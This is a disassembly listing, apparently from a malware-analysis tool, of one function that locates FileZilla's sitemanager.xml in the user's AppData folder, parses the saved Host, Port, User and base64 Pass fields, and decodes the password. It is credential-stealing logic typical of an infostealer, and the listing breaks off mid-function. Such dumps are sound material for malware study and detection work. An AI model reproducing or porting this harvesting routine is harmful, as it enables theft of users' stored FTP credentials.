Function at 0x1800a6ef0
Capabilities:
Get common file path

Disassembly:
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
xor edi, edi
mov qword [rcx + 0x18], 0xf
mov qword [rcx + 0x10], rdi
lea rax, [rbp + 0x190]
mov r15, rdx
mov byte [rcx], dil
mov r14, rcx
mov qword [rbp + 0x20], rdi
lea edx, [rdi + 0x1a]
mov qword [rbp + 0x28], 0xf
xor r9d, r9d
mov byte [rbp + 0x10], dil
xor r8d, r8d
mov qword [rbp], rdi
xor ecx, ecx
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], dil
mov r13d, edi
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], dil
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x60], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], dil
inc r8
cmp byte [rax + r8], dil
jne 0x1800a6fa0
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.1800b8fb0
mov r8d, 1
lea rdx, [0x180103e98]
lea rcx, [rsp + 0x50]
call fcn.1800b8790
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800a702e
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a7029
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a80
call fcn.1800c1180
mov r8d, 0x19
mov qword [rsp + 0x60], rdi
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x50], dil
call fcn.1800b8790
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800a70b6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a70b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a86
call fcn.1800c1180
cmp qword [rbp + 0x88], 0x10
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x3d8], rbx
lea rdx, [0x180103ec0]
cmovae rcx, qword [rbp + 0x70]
mov qword [rsp + 0x3e0], rsi
mov qword [rsp + 0x3e8], r12
call fcn.1800c9258
test rax, rax
je 0x1800a8a14
mov rcx, rax
call fcn.1800c92e8
mov rcx, qword [rbp + 0x80]
inc rcx
call fcn.1800c1544
cmp qword [rbp + 0x88], 0x10
lea r8, [rbp + 0x70]
mov r9, rax
cmovae r8, qword [rbp + 0x70]
sub r9, r8
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8]
mov byte [r9 + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x1800a7130
lea rdx, [0x180103ec0]
mov rcx, rax
call fcn.1800c9258
mov rcx, rax
mov r12, rax
call fcn.1800cc0f0
test eax, eax
jne 0x1800a895f
lea rbx, [0x18011abe0]
nop dword [rax]
mov r8, r12
mov edx, 0x800
mov rcx, rbx
call fcn.1800cadbc
test rax, rax
je 0x1800a894f
mov qword [rsp + 0x60], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
inc r8
cmp byte [rbx + r8], 0
jne 0x1800a71a3
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1800b8fb0
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a71e9
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800a7264
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a723d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a724b
test rcx, rcx
je 0x1800a7249
call fcn.1800c1188
jmp 0x1800a724b
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Host_
mov qword [rbp - 0x20], 0
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
call fcn.1800b8fb0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c300
test eax, eax
jle 0x1800a7524
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a72d7
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800a7351
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a732b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a7339
test rcx, rcx
je 0x1800a7337
call fcn.1800c1188
jmp 0x1800a7339
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800b8fb0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c300
test eax, eax
jle 0x1800a7524
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Host_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800b9ad0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800a8a74
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1800a7452
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a744d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Host_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x10], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x20], xmm1
cmovae rcx, rsi
call fcn.1800b9ad0
cmp rbx, rax
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1800a7512
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a750d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a7553
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800a75ce
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a75a7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a75b5
test rcx, rcx
je 0x1800a75b3
call fcn.1800c1188
jmp 0x1800a75b5
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Port_
mov qword [rbp - 0x20], 0
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
call fcn.1800b8fb0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c300
test eax, eax
jle 0x1800a788e
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a7641
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800a76bb
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a7695
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a76a3
test rcx, rcx
je 0x1800a76a1
call fcn.1800c1188
jmp 0x1800a76a3
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800b8fb0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c300
test eax, eax
jle 0x1800a788e
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Port_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800b9ad0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800a8a74
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800a77bc
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a77b7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x30]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Port_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x30], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x40], xmm1
cmovae rcx, rsi
call fcn.1800b9ad0
cmp rbx, rax
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800a787c
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a7877
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a78bd
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800a7938
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a7911
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a791f
test rcx, rcx
je 0x1800a791d
call fcn.1800c1188
jmp 0x1800a791f
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._User_
mov qword [rbp - 0x20], 0
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
call fcn.1800b8fb0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c300
test eax, eax
jle 0x1800a7bf8
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a79ab
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800a7a25
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a79ff
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a7a0d
test rcx, rcx
je 0x1800a7a0b
call fcn.1800c1188
jmp 0x1800a7a0d
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__User_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800b8fb0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c300
test eax, eax
jle 0x1800a7bf8
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._User_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800b9ad0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800a8a74
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800b8fb0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1800a7b26
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a7b21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__User_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp - 0x10], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp], xmm1
cmovae rcx, rsi
call fcn.1800b9ad0
cmp rbx, rax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800b8fb0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1800a7be6
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a7be1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a7c27
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800a7ca2
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a7c7b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a7c89
test rcx, rcx
je 0x1800a7c87
call fcn.1800c1188
jmp 0x1800a7c89
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, str._Pass_encoding_base64__
xor edi, edi
mov qword [rbp - 0x18], 0xf
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x20], rdi
mov byte [rbp - 0x30], dil
lea r8d, [rdi + 0x18]
call fcn.1800b8fb0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c300
test eax, eax
jle 0x1800a8020
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800a7d11
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800a7d8b
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800a7d65
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800a8a8c
mov rcx, rax
call fcn.1800c1188
mov rcx, rax
test rax, rax
je 0x1800a8a92
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800a7d73
test rcx, rcx
je 0x1800a7d71
call fcn.1800c1188
jmp 0x1800a7d73
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800c41f0
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x80], rdi
lea rdx, str.__Pass_
xor edi, edi
mov qword [rbp - 0x38], 0xf
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x40], rdi
mov byte [rbp - 0x50], dil
lea r8d, [rdi + 7]
call fcn.1800b8fb0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c300
test eax, eax
jle 0x1800a8020
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800b9ad0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 0x18]
cmp rbx, rcx
jb 0x1800a8a74
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800b8fb0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1800a7e88
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a7e83
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Pass_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp - 0x70], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp - 0x60], xmm1
cmovae rcx, rsi
call fcn.1800b9ad0
cmp rbx, rax
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800b8fb0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1800a7f48
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a7f43
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a92
call fcn.1800c1180
movups xmm0, xmmword [rsp + 0x30]
lea rdx, [rbp - 0x70]
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x30]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
call fcn.18008a140
mov rbx, rax
lea rax, [rbp - 0x70]
cmp rax, rbx
je 0x1800a7fe1
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1800a7faf
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a7faa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a98
call fcn.1800c1180
mov qword [rbp - 0x58], 0xf
xor edi, edi
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x1800a7fe3
xor edi, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800a8020
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a801b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a98
call fcn.1800c1180
cmp qword [rbp + 0x20], 0
je 0x1800a893e
cmp qword [rbp], 0
je 0x1800a893e
cmp qword [rbp - 0x60], 0
je 0x1800a893e
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x1800a8051
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x1800a8061
cmp byte [rcx], 0x30
jne 0x1800a8061
mov cl, 1
jmp 0x1800a8063
xor cl, cl
test cl, cl
je 0x1800a86f1
mov rdx, qword [r14 + 0x10]
lea rcx, [rbp + 0x50]
inc rdx
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
call fcn.1800ba640
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x1800a8098
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x50]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x50]
call fcn.1800b8790
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x50]
cmovae rdx, qword [rbp + 0x10]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180104868]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800b8790
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0x48], 0x10
mov r8, qword [rbp + 0x40]
cmovae rdx, qword [rbp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800b8790
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x110]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
